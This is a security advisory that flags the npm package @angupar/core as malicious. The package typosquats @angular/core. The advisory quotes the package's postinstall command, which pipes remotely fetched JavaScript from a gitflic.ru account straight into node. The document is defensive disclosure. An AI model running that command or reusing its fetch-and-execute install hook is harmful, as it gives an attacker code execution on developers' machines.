@angupar/core

GHSA-8v93-83f6-whc9

Malicious code in @angupar/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84)
Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angupar/core/MAL-2026-17539.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angupar/core/MAL-2026-17539.json
- https://www.npmjs.com/package/@angupar/core/v/22.2.1
- https://github.com/advisories/GHSA-8v93-83f6-whc9

Compromised versions (1)

= 22.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.